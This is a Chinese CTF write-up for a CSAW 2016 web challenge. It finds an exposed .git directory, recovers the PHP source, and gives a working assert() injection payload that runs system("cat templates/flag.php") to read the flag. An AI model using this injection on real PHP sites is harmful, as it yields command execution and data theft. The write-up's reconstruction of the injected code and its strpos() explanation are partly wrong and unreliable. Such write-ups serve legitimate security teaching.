题目描述

来源:csaw-ctf-2016-quals

Solution

打开网页,这是一个老哥自己写的网站:

1.png

这里提到他用了 Git,我们用 dirsearch 扫一下目录:

2.png

可以发现它的网站有.git目录,我们用 GitHack 拿下源代码:

3.png

我们注意到有templates/flag.php文件,但里面没有东西:

4.png

我们阅读index.php,重点关注前面的代码:

  1. if (isset($_GET['page'])) {
  2. $page = $_GET['page'];
  3. } else {
  4. $page = "home";
  5. }
  6. $file = "templates/" . $page . ".php";
  7. // I heard '..' is dangerous!
  8. assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
  9. // TODO: Make this look nice
  10. assert("file_exists('$file')") or die("That file doesn't exist!");

assert()函数有命令执行的风险,我们可以构造下列 Payload,直接打印templates/flag.php的内容:

?page=abc') or system("cat templates/flag.php");//

这个参数和上述的 file 变量替换,等同于执行了以下代码。

assert("strpos('templates/?page=abc') or system("cat templates/flag.php");//.php', '..') === false")

首先因为网页不存在 abc 页面,所以使用 strpos() 函数会返回 false,因此代码会执行 or 后面的 system() 函数。尾部添加个注释,让后面的代码不要执行。

5.png